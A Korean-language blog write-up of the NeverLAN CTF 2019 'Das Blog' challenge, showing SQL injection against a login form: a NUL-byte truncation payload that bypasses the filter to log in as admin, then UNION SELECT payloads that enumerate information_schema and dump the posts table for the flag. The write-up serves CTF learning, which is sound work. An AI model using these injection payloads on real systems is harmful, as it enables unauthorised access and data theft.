White Security
neverlanctf 2019 - Das Blog writeup 본문
Johnny 가 블로그를 개설했는데
입력을 escape 하는 방법을 모르겠다고 합니다.
링크에 접속하면
인삿말과 함께 로그인 페이지에 접속이 가능합니다.
로그인 폼은 별다를 것이 없습니다.
There was a problem when looking for user. Please try again.
Sorry, That Username / Password is incorrect.
Username에 싱글 쿼트를 삽입하면 쿼리 오류가 뜨는 듯 한데
주석을 넣기 위해 '#', '-' 등 특수문자를
삽입하면 검색오류로 바뀝니다.
이것을 보아, 쿼리 검색을 하기 전에
지정된 문자가 있는지 확인하고 있다면
검색 오류를 뿜고 바로 넘겨버리는 것이 아닌가
생각해 볼 수 있습니다.
submit=Login&Password=&Username=' or 1;%00
NUL 은 필터링 되지 않았으므로
NUL 문자를 끼워넣어 뒷 부분을 무효화 시켰습니다.
You are now logged in as Johnny with permissions admin click here to go to the main page
그러자 로그인이 가능했고
Johnny 의 admin 권한으로 접속된 것을 확인할 수 있습니다.
submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select column_name as a,table_name as b from information_schema.columns)x;%00
데이터베이스에 존재하는
모든 테이블과 컬럼을 조회하기 위해
Death Row Injection 기법을 사용 하였습니다.
조금 더 번거롭겠지만
limit 0, 1 등의 방법으로 시도하셔도 무관합니다.
submit=Login&Password=&Username=' union select group_concat(0xa,a,0x3a,b),2 from (select title a,content as b from posts)x;%00
posts 테이블 내의 컬럼 내에서 플래그를 발견할 수 있었습니다.
'CTF Writups' 카테고리의 다른 글
neverlanctf 2019 - Dirty Validate writeup (0) | 2019.02.04 |
---|---|
neverlanctf 2019 - Das Blog 2 writeup (0) | 2019.02.04 |
neverlanctf 2019 - Cover the BASEs writeup (0) | 2019.02.04 |
neverlanctf 2019 - Cookie monster writeup (0) | 2019.02.04 |
neverlanctf 2019 - Console writeup (0) | 2019.02.04 |
Comments